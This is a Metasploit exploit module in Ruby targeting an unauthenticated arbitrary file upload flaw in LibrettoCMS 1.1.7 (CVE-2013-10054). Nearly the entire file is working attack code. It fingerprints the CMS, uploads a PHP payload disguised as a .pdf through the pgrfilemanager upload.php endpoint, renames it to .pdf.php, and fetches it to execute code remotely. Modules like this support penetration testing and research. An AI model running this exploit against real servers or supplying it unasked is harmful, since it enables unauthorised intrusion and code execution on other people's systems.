##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LibrettoCMS File Manager Arbitary File Upload Vulnerability',
        'Description' => %q{
          This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
          possibly prior.  Attackers can bypass the file extension check and abuse the upload
          feature in order to upload a malicious PHP file without authentication, which
          results in arbitrary remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'CWH',
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2013-10054'],
          ['OSVDB', '94391'],
          ['EDB', '26213']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-06-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
      ]
    )
  end

  def check
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
    if !res
      vprint_error('Connection timed out')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /Powered by <a href=".+">Libretto CMS/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def upload(base)
    p = get_write_exec_payload(unlink_self: true)
    fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"

    data = Rex::MIME::Message.new
    data.add_part(fname, nil, nil, 'form-data; name="Filename"')
    data.add_part(p, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
    data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
    post_data = data.to_s

    uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'vars_get' => { 'type' => 'all files' }
    })

    if !res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code}")
    end

    fname
  end

  def rename(base, original_fname)
    new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
    uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_get' => { 'type' => 'all files' },
      'vars_post' => {
        'fun' => 'renameFile',
        'dir' => '',
        'filename' => original_fname,
        'newFilename' => new_name
      }
    })

    if !res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming")
    elsif res.body !~ /"res":"OK"/
      fail_with(Failure::Unknown, "#{peer} - Failed to rename file")
    end

    new_name
  end

  def exec(base, payload_fname)
    res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
    if res and res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
    end
  end

  def exploit
    base = target_uri.path

    print_status('Uploading malicious file...')
    orig_fname = upload(base)

    print_status("Renaming #{orig_fname}...")
    new_fname = rename(base, orig_fname)

    print_status("Executing #{new_fname}...")
    exec(base, new_fname)
  end
end
